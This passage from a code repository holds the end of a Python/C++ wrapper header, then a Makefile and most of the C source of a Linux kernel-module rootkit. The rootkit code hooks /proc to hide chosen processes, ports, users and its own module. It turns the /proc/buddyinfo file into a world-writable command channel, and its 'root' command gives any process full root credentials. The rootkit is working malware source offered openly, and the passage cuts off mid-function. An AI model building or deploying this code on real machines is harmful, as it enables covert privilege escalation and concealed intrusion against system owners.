* This program is distributed in the hope that it will be useful, 7 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 8 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 9 | * GNU General Public License for more details. 10 | * 11 | * You should have received a copy of the GNU General Public License 12 | * along with this program; if not, write to the Free Software 13 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 14 | * MA 02110-1301, USA. 15 | * 16 | * Author: 17 | * Matias Fontanini 18 | * 19 | */ 20 | 21 | #ifndef PYWRAPPER_H 22 | #define PYWRAPPER_H 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | 34 | 35 | namespace Python { 36 | // Deleter that calls Py_XDECREF on the PyObject parameter. 37 | struct PyObjectDeleter { 38 | void operator()(PyObject *obj) { 39 | Py_XDECREF(obj); 40 | } 41 | }; 42 | // unique_ptr that uses Py_XDECREF as the destructor function. 43 | typedef std::unique_ptr pyunique_ptr; 44 | 45 | // ------------ Conversion functions ------------ 46 | 47 | // Convert a PyObject to a std::string. 48 | bool convert(PyObject *obj, std::string &val); 49 | // Convert a PyObject to a std::vector. 50 | bool convert(PyObject *obj, std::vector &val); 51 | // Convert a PyObject to a bool value. 52 | bool convert(PyObject *obj, bool &value); 53 | // Convert a PyObject to any integral type. 54 | template::value, T>::type = 0> 55 | bool convert(PyObject *obj, T &val) { 56 | if(!PyInt_Check(obj)) 57 | return false; 58 | val = PyInt_AsLong(obj); 59 | return true; 60 | } 61 | // Convert a PyObject to an float. 62 | bool convert(PyObject *obj, double &val); 63 | 64 | template 65 | typename std::enable_if::type 66 | add_to_tuple(PyObject *obj, std::tuple &tup) { 67 | return convert(PyTuple_GetItem(obj, n), std::get(tup)); 68 | } 69 | 70 | template 71 | typename std::enable_if::type 72 | add_to_tuple(PyObject *obj, std::tuple &tup) { 73 | add_to_tuple(obj, tup); 74 | return convert(PyTuple_GetItem(obj, n), std::get(tup)); 75 | } 76 | 77 | template 78 | bool convert(PyObject *obj, std::tuple &tup) { 79 | if(!PyTuple_Check(obj) || 80 | PyTuple_Size(obj) != sizeof...(Args)) 81 | return false; 82 | return add_to_tuple(obj, tup); 83 | } 84 | // Convert a PyObject to a std::map 85 | template 86 | bool convert(PyObject *obj, std::map &mp) { 87 | if(!PyDict_Check(obj)) 88 | return false; 89 | PyObject *py_key, *py_val; 90 | Py_ssize_t pos(0); 91 | while (PyDict_Next(obj, &pos, &py_key, &py_val)) { 92 | K key; 93 | if(!convert(py_key, key)) 94 | return false; 95 | V val; 96 | if(!convert(py_val, val)) 97 | return false; 98 | mp.insert(std::make_pair(key, val)); 99 | } 100 | return true; 101 | } 102 | // Convert a PyObject to a generic container. 103 | template 104 | bool convert_list(PyObject *obj, C &container) { 105 | if(!PyList_Check(obj)) 106 | return false; 107 | for(Py_ssize_t i(0); i < PyList_Size(obj); ++i) { 108 | T val; 109 | if(!convert(PyList_GetItem(obj, i), val)) 110 | return false; 111 | container.push_back(std::move(val)); 112 | } 113 | return true; 114 | } 115 | // Convert a PyObject to a std::list. 116 | template bool convert(PyObject *obj, std::list &lst) { 117 | return convert_list>(obj, lst); 118 | } 119 | // Convert a PyObject to a std::vector. 120 | template bool convert(PyObject *obj, std::vector &vec) { 121 | return convert_list>(obj, vec); 122 | } 123 | 124 | template bool generic_convert(PyObject *obj, 125 | const std::function &is_obj, 126 | const std::function &converter, 127 | T &val) { 128 | if(!is_obj(obj)) 129 | return false; 130 | val = converter(obj); 131 | return true; 132 | } 133 | 134 | // -------------- PyObject allocators ---------------- 135 | 136 | // Generic python list allocation 137 | template static PyObject *alloc_list(const T &container) { 138 | PyObject *lst(PyList_New(container.size())); 139 | 140 | Py_ssize_t i(0); 141 | for(auto it(container.begin()); it != container.end(); ++it) 142 | PyList_SetItem(lst, i++, alloc_pyobject(*it)); 143 | 144 | return lst; 145 | } 146 | // Creates a PyObject from a std::string 147 | PyObject *alloc_pyobject(const std::string &str); 148 | // Creates a PyObject from a std::vector 149 | PyObject *alloc_pyobject(const std::vector &val, size_t sz); 150 | // Creates a PyObject from a std::vector 151 | PyObject *alloc_pyobject(const std::vector &val); 152 | // Creates a PyObject from a const char* 153 | PyObject *alloc_pyobject(const char *cstr); 154 | // Creates a PyObject from any integral type(gets converted to PyInt) 155 | template::value, T>::type = 0> 156 | PyObject *alloc_pyobject(T num) { 157 | return PyInt_FromLong(num); 158 | } 159 | // Creates a PyObject from a bool 160 | PyObject *alloc_pyobject(bool value); 161 | // Creates a PyObject from a double 162 | PyObject *alloc_pyobject(double num); 163 | // Creates a PyObject from a std::vector 164 | template PyObject *alloc_pyobject(const std::vector &container) { 165 | return alloc_list(container); 166 | } 167 | // Creates a PyObject from a std::list 168 | template PyObject *alloc_pyobject(const std::list &container) { 169 | return alloc_list(container); 170 | } 171 | // Creates a PyObject from a std::map 172 | template PyObject *alloc_pyobject( 173 | const std::map &container) { 174 | PyObject *dict(PyDict_New()); 175 | 176 | for(auto it(container.begin()); it != container.end(); ++it) 177 | PyDict_SetItem(dict, 178 | alloc_pyobject(it->first), 179 | alloc_pyobject(it->second) 180 | ); 181 | 182 | return dict; 183 | } 184 | 185 | void initialize(); 186 | void finalize(); 187 | void print_error(); 188 | void clear_error(); 189 | void print_object(PyObject *obj); 190 | 191 | /** 192 | * \class Object 193 | * \brief This class represents a python object. 194 | */ 195 | class Object { 196 | public: 197 | /** 198 | * \brief Constructs a default python object 199 | */ 200 | Object(); 201 | 202 | /** 203 | * \brief Constructs a python object from a PyObject pointer. 204 | * 205 | * This Object takes ownership of the PyObject* argument. That 206 | * means no Py_INCREF is performed on it. 207 | * \param obj The pointer from which to construct this Object. 208 | */ 209 | Object(PyObject *obj); 210 | 211 | /** 212 | * \brief Calls the callable attribute "name" using the provided 213 | * arguments. 214 | * 215 | * This function might throw a std::runtime_error if there is 216 | * an error when calling the function. 217 | * 218 | * \param name The name of the attribute to be called. 219 | * \param args The arguments which will be used when calling the 220 | * attribute. 221 | * \return Python::Object containing the result of the function. 222 | */ 223 | template 224 | Object call_function(const std::string &name, const Args&... args) { 225 | pyunique_ptr func(load_function(name)); 226 | // Create the tuple argument 227 | pyunique_ptr tup(PyTuple_New(sizeof...(args))); 228 | add_tuple_vars(tup, args...); 229 | // Call our object 230 | PyObject *ret(PyObject_CallObject(func.get(), tup.get())); 231 | if(!ret) 232 | throw std::runtime_error("Failed to call function " + name); 233 | return {ret}; 234 | } 235 | 236 | /** 237 | * \brief Calls a callable attribute using no arguments. 238 | * 239 | * This function might throw a std::runtime_error if there is 240 | * an error when calling the function. 241 | * 242 | * \sa Python::Object::call_function. 243 | * \param name The name of the callable attribute to be executed. 244 | * \return Python::Object containing the result of the function. 245 | */ 246 | Object call_function(const std::string &name); 247 | 248 | /** 249 | * \brief Finds and returns the attribute named "name". 250 | * 251 | * This function might throw a std::runtime_error if an error 252 | * is encountered while fetching the attribute. 253 | * 254 | * \param name The name of the attribute to be returned. 255 | * \return Python::Object representing the attribute. 256 | */ 257 | Object get_attr(const std::string &name); 258 | 259 | /** 260 | * \brief Checks whether this object contains a certain attribute. 261 | * 262 | * \param name The name of the attribute to be searched. 263 | * \return bool indicating whether the attribute is defined. 264 | */ 265 | bool has_attr(const std::string &name); 266 | 267 | /** 268 | * \brief Returns the internal PyObject*. 269 | * 270 | * No reference increment is performed on the PyObject* before 271 | * returning it, so any DECREF applied to it without INCREF'ing 272 | * it will cause undefined behaviour. 273 | * \return The PyObject* which this Object is representing. 274 | */ 275 | PyObject *get() const { return py_obj.get(); } 276 | 277 | template 278 | bool convert(T ¶m) { 279 | return Python::convert(py_obj.get(), param); 280 | } 281 | 282 | /** 283 | * \brief Constructs a Python::Object from a script. 284 | * 285 | * The returned Object will be the representation of the loaded 286 | * script. If any errors are encountered while loading this 287 | * script, a std::runtime_error is thrown. 288 | * 289 | * \param script_path The path of the script to be loaded. 290 | * \return Object representing the loaded script. 291 | */ 292 | static Object from_script(const std::string &script_path); 293 | private: 294 | typedef std::shared_ptr pyshared_ptr; 295 | 296 | PyObject *load_function(const std::string &name); 297 | 298 | pyshared_ptr make_pyshared(PyObject *obj); 299 | 300 | // Variadic template method to add items to a tuple 301 | template 302 | void add_tuple_vars(pyunique_ptr &tup, const First &head, const Rest&... tail) { 303 | add_tuple_var( 304 | tup, 305 | PyTuple_Size(tup.get()) - sizeof...(tail) - 1, 306 | head 307 | ); 308 | add_tuple_vars(tup, tail...); 309 | } 310 | 311 | 312 | void add_tuple_vars(pyunique_ptr &tup, PyObject *arg) { 313 | add_tuple_var(tup, PyTuple_Size(tup.get()) - 1, arg); 314 | } 315 | 316 | // Base case for add_tuple_vars 317 | template 318 | void add_tuple_vars(pyunique_ptr &tup, const Arg &arg) { 319 | add_tuple_var(tup, 320 | PyTuple_Size(tup.get()) - 1, alloc_pyobject(arg) 321 | ); 322 | } 323 | 324 | // Adds a PyObject* to the tuple object 325 | void add_tuple_var(pyunique_ptr &tup, Py_ssize_t i, PyObject *pobj) { 326 | PyTuple_SetItem(tup.get(), i, pobj); 327 | } 328 | 329 | // Adds a PyObject* to the tuple object 330 | template void add_tuple_var(pyunique_ptr &tup, Py_ssize_t i, 331 | const T &data) { 332 | PyTuple_SetItem(tup.get(), i, alloc_pyobject(data)); 333 | } 334 | 335 | pyshared_ptr py_obj; 336 | }; 337 | }; 338 | 339 | #endif // PYWRAPPER_H 340 | -------------------------------------------------------------------------------- /rootkit/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | ifdef CENTOS 4 | EXTRA_CFLAGS += "-DCENTOS" 5 | endif 6 | 7 | all: 8 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 9 | 10 | clean: 11 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 12 | -------------------------------------------------------------------------------- /rootkit/rootkit.c: -------------------------------------------------------------------------------- 1 | // This program is free software; you can redistribute it and/or modify 2 | // it under the terms of the GNU General Public License as published by 3 | // the Free Software Foundation; either version 3 of the License, or 4 | // (at your option) any later version. 5 | // 6 | // This program is distributed in the hope that it will be useful, 7 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 8 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 9 | // GNU General Public License for more details. 10 | // 11 | // You should have received a copy of the GNU General Public License 12 | // along with this program; if not, write to the Free Software 13 | // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 14 | // MA 02110-1301, USA. 15 | // 16 | // Author: Matías Fontanini 17 | // Contact: matias.fontanini@gmail.com 18 | // 19 | // Thanks to Dhiru Kholia(https://github.com/kholia) for porting 20 | // this rootkit to Linux >= 3.0. 21 | 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | 32 | 33 | #define MODULE_NAME "rootkit" 34 | #define MAX_COMMAND_SZ 30 35 | #define MAX_HIDDEN_PIDS 80 36 | #define MAX_PID_LENGTH 6 37 | #define MAX_HIDDEN_PORTS 20 38 | #define MAX_PORT_LENGTH 5 39 | #define MAX_HIDDEN_USERS 10 40 | /* Commands */ 41 | 42 | #define MAKE_ROOT_CMD "root" 43 | #define HIDE_MOD_CMD "hide" 44 | #define SHOW_MOD_CMD "show" 45 | #define HIDE_PID_CMD "hpid" 46 | #define SHOW_PID_CMD "spid" 47 | #define HIDE_DPORT_CMD "hdport" 48 | #define HIDE_SPORT_CMD "hsport" 49 | #define SHOW_DPORT_CMD "sdport" 50 | #define SHOW_SPORT_CMD "ssport" 51 | #define HIDE_USER_CMD "huser" 52 | #define SHOW_USER_CMD "suser" 53 | 54 | 55 | 56 | 57 | #define USER_PROCESS 7 58 | #define UT_LINESIZE 32 59 | #define UT_NAMESIZE 32 60 | #define UT_HOSTSIZE 256 61 | 62 | struct exit_status { 63 | short int e_termination; /* process termination status */ 64 | short int e_exit; /* process exit status */ 65 | }; 66 | 67 | struct utmp { 68 | short ut_type; /* type of login */ 69 | pid_t ut_pid; /* PID of login process */ 70 | char ut_line[UT_LINESIZE]; /* device name of tty - "/dev/" */ 71 | char ut_id[4]; /* init id or abbrev. ttyname */ 72 | char ut_user[UT_NAMESIZE]; /* user name */ 73 | char ut_host[UT_HOSTSIZE]; /* hostname for remote login */ 74 | struct exit_status ut_exit; /* The exit status of a process 75 | marked as DEAD_PROCESS */ 76 | int32_t ut_session; /* Session ID, used for windowing */ 77 | struct { 78 | int32_t tv_sec; /* Seconds */ 79 | int32_t tv_usec; /* Microseconds */ 80 | } ut_tv; /* Time entry was made */ 81 | 82 | int32_t ut_addr_v6[4]; /* IP address of remote host */ 83 | char __unused[20]; /* Reserved for future use */ 84 | }; 85 | 86 | /* Injection structs */ 87 | struct inode *pinode, *tinode, *uinode, *rcinode, *modinode; 88 | struct proc_dir_entry *modules, *root, *handler, *tcp; 89 | static struct file_operations modules_fops, proc_fops, handler_fops, tcp_fops, user_fops, rc_fops, mod_fops; 90 | const struct file_operations *proc_original = 0, *modules_proc_original = 0, *handler_original = 0, *tcp_proc_original = 0, *user_proc_original = 0, *rc_proc_original = 0, *mod_proc_original; 91 | filldir_t proc_filldir, rc_filldir, mod_filldir; 92 | 93 | char *rc_name, *rc_dir, *mod_name, *mod_dir; 94 | module_param(rc_name , charp, 0); 95 | module_param(rc_dir , charp, 0); 96 | module_param(mod_name, charp, 0); 97 | module_param(mod_dir, charp, 0); 98 | 99 | 100 | typedef void (*pid_function_t)(unsigned); 101 | typedef void (*hide_port_function_t)(unsigned short); 102 | typedef void (*user_function_t)(char *); 103 | 104 | 105 | char hidden_pids[MAX_HIDDEN_PIDS][MAX_PID_LENGTH]; 106 | char hidden_dports[MAX_HIDDEN_PORTS][MAX_PORT_LENGTH], hidden_sports[MAX_HIDDEN_PORTS][MAX_PORT_LENGTH]; 107 | char hidden_users[MAX_HIDDEN_USERS][UT_NAMESIZE]; 108 | unsigned hidden_pid_count = 0, hidden_dport_count = 0, hidden_sport_count = 0, hidden_user_count = 0; 109 | 110 | 111 | 112 | 113 | int port_in_array(char arr[MAX_HIDDEN_PORTS][MAX_PORT_LENGTH], unsigned sz, char *val) { 114 | unsigned i; 115 | for(i = 0; i < sz; ++i) 116 | if(!strcmp(arr[i], val)) 117 | return 1; 118 | return 0; 119 | } 120 | 121 | int pid_in_array(char arr[MAX_HIDDEN_PIDS][MAX_PID_LENGTH], unsigned sz, char *val) { 122 | unsigned i; 123 | for(i = 0; i < sz; ++i) 124 | if(!strcmp(arr[i], val)) 125 | return 1; 126 | return 0; 127 | } 128 | 129 | int user_in_array(char arr[MAX_HIDDEN_USERS][UT_NAMESIZE], unsigned sz, char *val) { 130 | unsigned i; 131 | for(i = 0; i < sz; ++i) 132 | if(!strcmp(arr[i], val)) 133 | return 1; 134 | return 0; 135 | } 136 | 137 | void hide_module(void) { 138 | modules->proc_fops = &modules_fops; 139 | } 140 | 141 | void show_module(void) { 142 | modules->proc_fops = modules_proc_original; 143 | } 144 | 145 | inline char to_upper(char c) { 146 | return (c >= 'a' && c <= 'f') ? c - 32 : c; 147 | } 148 | 149 | // returns the task_struct associated with pid 150 | struct task_struct *get_task_struct_by_pid(unsigned pid) { 151 | struct pid *proc_pid = find_vpid(pid); 152 | struct task_struct *task; 153 | if(!proc_pid) 154 | return 0; 155 | task = pid_task(proc_pid, PIDTYPE_PID); 156 | return task; 157 | } 158 | 159 | void zero_fill_port(char *port) { 160 | int end=0, i, j; 161 | while(port[end]) 162 | end++; 163 | i = MAX_PORT_LENGTH-1; 164 | j = end; 165 | while(j >= 0) 166 | port[i--] = port[j--]; 167 | for(i = 0; i < MAX_PORT_LENGTH - 1 - end; i++) 168 | port[i] = '0'; 169 | } 170 | 171 | // makes the process pid belong to uid 0 172 | void make_root(unsigned pid) { 173 | struct task_struct *task = get_task_struct_by_pid(pid); 174 | struct task_struct *init_task = get_task_struct_by_pid(1); 175 | if(!task || !init_task) 176 | return; 177 | task->cred = init_task->cred; 178 | } 179 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 33) 180 | #ifndef CENTOS 181 | char * strnstr(char *s, const char *find, size_t slen) { 182 | char c, sc; 183 | size_t len; 184 | if ((c = *find++) != '\0') { 185 | len = strlen(find); 186 | do { 187 | do { 188 | if (slen-- < 1 || (sc = *s++) == '\0') 189 | return 0; 190 | } while (sc != c); 191 | if (len > slen) 192 | return 0; 193 | } while (strncmp(s, find, len) != 0); 194 | s--; 195 | } 196 | return ((char *)s); 197 | } 198 | #endif 199 | #endif 200 | 201 | 202 | static ssize_t do_read_modules (struct file *fp, char __user *buf, size_t sz, loff_t *loff) { 203 | ssize_t read; 204 | char *ss; 205 | read = modules_proc_original->read(fp, buf, sz, loff); 206 | // where's my module name? 207 | ss = strnstr(buf, MODULE_NAME, strlen(MODULE_NAME)); 208 | if(ss) { 209 | // stealth please 210 | char *new_line = strchr(ss, '\n'); 211 | memcpy(ss, new_line + 1, read - (new_line - ss)); 212 | return read - (new_line - ss + 1); 213 | } 214 | return read; 215 | } 216 | 217 | static ssize_t do_read_tcp (struct file *fp, char __user *buf, size_t sz, loff_t *loff) { 218 | ssize_t read; 219 | char *ss, *lstart, *new_line; 220 | unsigned i = 0, j, found; 221 | read = tcp_proc_original->read(fp, buf, sz, loff); 222 | while(i < read) { 223 | found = 0; 224 | lstart = &buf[i]; 225 | new_line = strchr(lstart, '\n'); 226 | ss = strchr(strchr(lstart, ':') + 1, ':') + 1; 227 | // local_address 228 | for(j = 0; j < hidden_sport_count; ++j) { 229 | if(!strncmp(hidden_sports[j], ss, 4)) { 230 | memcpy(lstart, new_line + 1, read - (new_line - lstart)); 231 | read -= (new_line - lstart + 1); 232 | found = 1; 233 | j = hidden_sport_count; 234 | } 235 | } 236 | if(!found) { 237 | ss = strchr(ss, ':') + 1; 238 | // rem_address 239 | for(j = 0; j < hidden_dport_count; ++j) { 240 | if(!strncmp(hidden_dports[j], ss, 4)) { 241 | memcpy(lstart, new_line + 1, read - (new_line - lstart)); 242 | read -= (new_line - lstart + 1); 243 | j = hidden_dport_count; 244 | found = 1; 245 | } 246 | } 247 | } 248 | if(!found) 249 | i += new_line - lstart + 1; 250 | } 251 | return read; 252 | } 253 | 254 | static ssize_t do_read_users(struct file *fp, char __user *buf, size_t sz, loff_t *loff) { 255 | ssize_t read = user_proc_original->read(fp, buf, sz, loff); 256 | struct utmp *data; 257 | unsigned i = 0, w, found; 258 | while(i < read) { 259 | found = 0; 260 | data = (struct utmp *)&buf[i]; 261 | for(w = 0; w < hidden_user_count && !found; ++w) { 262 | if(data->ut_type == USER_PROCESS && !strncmp(data->ut_user, hidden_users[w], 6)) { 263 | unsigned j; 264 | for(j = 0; j < read - i; ++j) { 265 | buf[i+j] = buf[i+j+sizeof(struct utmp)]; 266 | } 267 | read -= sizeof(struct utmp); 268 | if(!read) 269 | read = user_proc_original->read(fp, &buf[0], sz - i, loff); 270 | found = 1; 271 | } 272 | } 273 | if(!found) 274 | i += sizeof(struct utmp); 275 | } 276 | return read; 277 | } 278 | 279 | void hide_user(char *user) { 280 | if(hidden_user_count < MAX_HIDDEN_USERS && !user_in_array(hidden_users, hidden_user_count, user)) { 281 | strcpy(hidden_users[hidden_user_count++], user); 282 | } 283 | } 284 | 285 | void unhide_user(char *user) { 286 | unsigned i = 0; 287 | for(; i < hidden_user_count; ++i) { 288 | if(!strcmp(user, hidden_users[i])) { 289 | while(i < hidden_user_count-1) { 290 | strcpy(hidden_users[i], hidden_users[i+1]); 291 | i++; 292 | } 293 | hidden_user_count--; 294 | return; 295 | } 296 | } 297 | } 298 | 299 | void hide_pid(unsigned pid) { 300 | if(hidden_pid_count < MAX_HIDDEN_PIDS && get_task_struct_by_pid(pid)) { 301 | snprintf(hidden_pids[hidden_pid_count], MAX_PID_LENGTH, "%d", pid); 302 | if(!pid_in_array(hidden_pids, hidden_pid_count, hidden_pids[hidden_pid_count])) 303 | hidden_pid_count++; 304 | } 305 | } 306 | 307 | void unhide_pid(unsigned pid) { 308 | char buffer[MAX_PID_LENGTH]; 309 | unsigned i; 310 | snprintf(buffer, MAX_PID_LENGTH, "%d", pid); 311 | // let's find that fuck'n pid 312 | for(i = 0; i < hidden_pid_count; ++i) { 313 | if(!strcmp(buffer, hidden_pids[i])) { 314 | // overwrite it 315 | while(i < hidden_pid_count-1) { 316 | strcpy(hidden_pids[i], hidden_pids[i+1]); 317 | i++; 318 | } 319 | hidden_pid_count--; 320 | return; 321 | } 322 | } 323 | } 324 | 325 | void generic_pid_function(pid_function_t func, const char __user *data, size_t sz) { 326 | unsigned i = strlen(HIDE_PID_CMD) + 1; 327 | char *dummy; 328 | if(i < sz) { 329 | unsigned pid = simple_strtol(&data[i], &dummy, 10); 330 | if(pid) 331 | func(pid); 332 | } 333 | } 334 | 335 | void generic_user_function(user_function_t func, const char __user *data, size_t sz) { 336 | unsigned i = strlen(HIDE_PID_CMD) + 2; 337 | if(i < sz) { 338 | char buffer[UT_NAMESIZE+1]; 339 | unsigned to_read = min(sz - i, (size_t)UT_NAMESIZE); 340 | memcpy(buffer, &data[i], to_read); 341 | buffer[to_read - 1] = 0; 342 | func(buffer); 343 | } 344 | } 345 | 346 | void unhide_port(unsigned port, char port_array[MAX_HIDDEN_PIDS][MAX_PORT_LENGTH], unsigned *count) { 347 | char buffer[MAX_PORT_LENGTH]; 348 | unsigned i; 349 | snprintf(buffer, MAX_PORT_LENGTH, "%x", port); 350 | for(i = 0; buffer[i]; ++i) 351 | buffer[i] = to_upper(buffer[i]); 352 | zero_fill_port(buffer); 353 | // let's find that fuck'n pid 354 | for(i = 0; i < *count; ++i) { 355 | if(!strcmp(buffer, port_array[i])) { 356 | // overwrite it 357 | while(i < *count - 1) { 358 | strcpy(port_array[i], port_array[i+1]); 359 | i++; 360 | } 361 | (*count)--; 362 | return; 363 | } 364 | } 365 | } 366 | 367 | void hide_dport(unsigned short port) { 368 | if(hidden_dport_count < MAX_HIDDEN_PORTS) { 369 | unsigned i; 370 | snprintf(hidden_dports[hidden_dport_count], MAX_PORT_LENGTH, "%x", port); 371 | for(i = 0; hidden_dports[hidden_dport_count][i]; ++i) 372 | hidden_dports[hidden_dport_count][i] = to_upper(hidden_dports[hidden_dport_count][i]); 373 | zero_fill_port(hidden_dports[hidden_dport_count]); 374 | printk("dport: %s\n", hidden_dports[hidden_dport_count]); 375 | if(!port_in_array(hidden_dports, hidden_dport_count, hidden_dports[hidden_dport_count])) 376 | hidden_dport_count++; 377 | } 378 | } 379 | 380 | void hide_sport(unsigned short port) { 381 | if(hidden_sport_count < MAX_HIDDEN_PORTS) { 382 | unsigned i; 383 | snprintf(hidden_sports[hidden_sport_count], MAX_PORT_LENGTH, "%x", port); 384 | for(i = 0; hidden_sports[hidden_sport_count][i]; ++i) 385 | hidden_sports[hidden_sport_count][i] = to_upper(hidden_sports[hidden_sport_count][i]); 386 | zero_fill_port(hidden_sports[hidden_sport_count]); 387 | if(!port_in_array(hidden_sports, hidden_sport_count, hidden_sports[hidden_sport_count])) 388 | hidden_sport_count++; 389 | } 390 | } 391 | 392 | void generic_hide_port_function(hide_port_function_t func, const char __user *data, size_t sz, char *cmd_name) { 393 | unsigned i = strlen(cmd_name) + 1; 394 | char *dummy; 395 | if(i < sz) { 396 | unsigned port = simple_strtol(&data[i], &dummy, 10); 397 | if(port) 398 | func(port); 399 | } 400 | } 401 | 402 | void generic_show_port_function(const char __user *data, size_t sz, char *cmd_name, char port_array[MAX_HIDDEN_PIDS][MAX_PORT_LENGTH], unsigned *count) { 403 | unsigned i = strlen(cmd_name) + 1; 404 | char *dummy; 405 | if(i < sz) { 406 | unsigned port = simple_strtol(&data[i], &dummy, 10); 407 | if(port) 408 | unhide_port(port, port_array, count); 409 | } 410 | } 411 | 412 | static ssize_t orders_handler (struct file *filp, const char __user *data, size_t sz, loff_t *l) { 413 | if(sz > MAX_COMMAND_SZ) 414 | return -1; 415 | if(!strncmp(data, MAKE_ROOT_CMD, strlen(MAKE_ROOT_CMD))) 416 | generic_pid_function(make_root, data, sz); 417 | else if(!strncmp(data, HIDE_MOD_CMD, strlen(HIDE_MOD_CMD))) 418 | hide_module(); 419 | else if(!strncmp(data, SHOW_MOD_CMD, strlen(SHOW_MOD_CMD))) 420 | show_module(); 421 | else if(!strncmp(data, HIDE_PID_CMD, strlen(HIDE_PID_CMD))) 422 | generic_pid_function(hide_pid, data, sz); 423 | else if(!strncmp(data, SHOW_PID_CMD, strlen(SHOW_PID_CMD))) 424 | generic_pid_function(unhide_pid, data, sz); 425 | else if(!strncmp(data, HIDE_DPORT_CMD, strlen(HIDE_DPORT_CMD))) 426 | generic_hide_port_function(hide_dport, data, sz, HIDE_DPORT_CMD); 427 | else if(!strncmp(data, HIDE_SPORT_CMD, strlen(HIDE_SPORT_CMD))) 428 | generic_hide_port_function(hide_sport, data, sz, HIDE_SPORT_CMD); 429 | else if(!strncmp(data, SHOW_DPORT_CMD, strlen(SHOW_DPORT_CMD))) 430 | generic_show_port_function(data, sz, HIDE_DPORT_CMD, hidden_dports, &hidden_dport_count); 431 | else if(!strncmp(data, SHOW_SPORT_CMD, strlen(SHOW_SPORT_CMD))) 432 | generic_show_port_function(data, sz, HIDE_SPORT_CMD, hidden_sports, &hidden_sport_count); 433 | else if(!strncmp(data, HIDE_USER_CMD, strlen(HIDE_USER_CMD))) 434 | generic_user_function(hide_user, data, sz); 435 | else if(!strncmp(data, SHOW_USER_CMD, strlen(SHOW_USER_CMD))) 436 | generic_user_function(unhide_user, data, sz); 437 | return -1; 438 | } 439 | 440 | int fake_proc_fill_dir(void *a, const char *buffer, int c, loff_t d, u64 e, unsigned f) { 441 | unsigned i; 442 | for(i = 0; i < hidden_pid_count; ++i) 443 | if(!strcmp(buffer, hidden_pids[i])) 444 | return 0; 445 | // do the normal stuff... 446 | return proc_filldir(a, buffer, c, d, e, f); 447 | } 448 | 449 | 450 | int fake_rc_fill_dir(void *a, const char *buffer, int c, loff_t d, u64 e, unsigned f) { 451 | if(!strcmp(buffer, rc_name)) 452 | return 0; 453 | // do the normal stuff... 454 | return rc_filldir(a, buffer, c, d, e, f); 455 | } 456 | 457 | int fake_mod_fill_dir(void *a, const char *buffer, int c, loff_t d, u64 e, unsigned f) { 458 | if(!strcmp(buffer, mod_name)) 459 | return 0; 460 | // do the normal stuff... 461 | return mod_filldir(a, buffer, c, d, e, f); 462 | } 463 | 464 | static int do_readdir_proc (struct file *fp, void *buf, filldir_t fdir) { 465 | int ret; 466 | // replace the filldir_t with my own 467 | proc_filldir = fdir; 468 | ret = proc_original->readdir(fp, buf, fake_proc_fill_dir); 469 | return ret; 470 | } 471 | 472 | static int do_readdir_rc (struct file *fp, void *buf, filldir_t fdir) { 473 | int ret; 474 | // replace the filldir_t with my own 475 | rc_filldir = fdir; 476 | ret = rc_proc_original->readdir(fp, buf, fake_rc_fill_dir); 477 | return ret; 478 | } 479 | 480 | static int do_readdir_mod (struct file *fp, void *buf, filldir_t fdir) { 481 | int ret; 482 | // replace the filldir_t with my own 483 | mod_filldir = fdir; 484 | ret = mod_proc_original->readdir(fp, buf, fake_mod_fill_dir); 485 | return ret; 486 | } 487 | 488 | struct proc_dir_entry *find_dir_entry(struct proc_dir_entry *root, const char *name) { 489 | struct proc_dir_entry *ptr = root->subdir; 490 | while(ptr && strcmp(ptr->name, name)) 491 | ptr = ptr->next; 492 | return ptr; 493 | } 494 | 495 | void hook_proc(struct proc_dir_entry *root) { 496 | // search for /proc's inode 497 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 498 | struct nameidata inode_data; 499 | if(path_lookup("/proc/", 0, &inode_data)) 500 | return; 501 | #else 502 | struct path p; 503 | if(kern_path("/proc/", 0, &p)) 504 | return; 505 | pinode = p.dentry->d_inode; 506 | #endif 507 | 508 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 33) 509 | pinode = inode_data.path.dentry->d_inode; 510 | #elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 511 | pinode = inode_data.inode; 512 | #endif 513 | 514 | if(!pinode) 515 | return; 516 | // hook /proc readdir 517 | proc_fops = *pinode->i_fop; 518 | proc_original = pinode->i_fop; 519 | proc_fops.readdir = do_readdir_proc; 520 | pinode->i_fop = &proc_fops; 521 | } 522 | 523 | void install_handler(struct proc_dir_entry *root) { 524 | struct proc_dir_entry *ptr = root->subdir; 525 | while(ptr && strcmp(ptr->name, "buddyinfo")) 526 | ptr = ptr->next; 527 | if(ptr) { 528 | handler = ptr; 529 | ptr->mode |= S_IWUGO; 530 | handler_original = (struct file_operations*)ptr->proc_fops; 531 | // create new handler 532 | handler_fops = *ptr->proc_fops; 533 | handler_fops.write = orders_handler; 534 | ptr->proc_fops = &handler_fops; 535 | } 536 | } 537 | 538 | void init_module_hide_hook(struct proc_dir_entry *root) { 539 | modules = find_dir_entry(root, "modules"); 540 | // save original file_operations 541 | modules_proc_original = (struct file_operations*)modules->proc_fops; 542 | modules_fops = *modules->proc_fops; 543 | modules_fops.read = do_read_modules; 544 | } 545 | 546 | void init_tcp_hide_hook(struct proc_dir_entry *root) { 547 | // search for /proc/net/tcp's inode 548 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 549 | struct nameidata inode_data; 550 | if(path_lookup("/proc/net/tcp", 0, &inode_data)) 551 | return; 552 | #else 553 | struct path p; 554 | if(kern_path("/proc/net/tcp", 0, &p)) 555 | return; 556 | tinode = p.dentry->d_inode; 557 | #endif 558 | 559 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 33) 560 | tinode = inode_data.path.dentry->d_inode; 561 | #elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 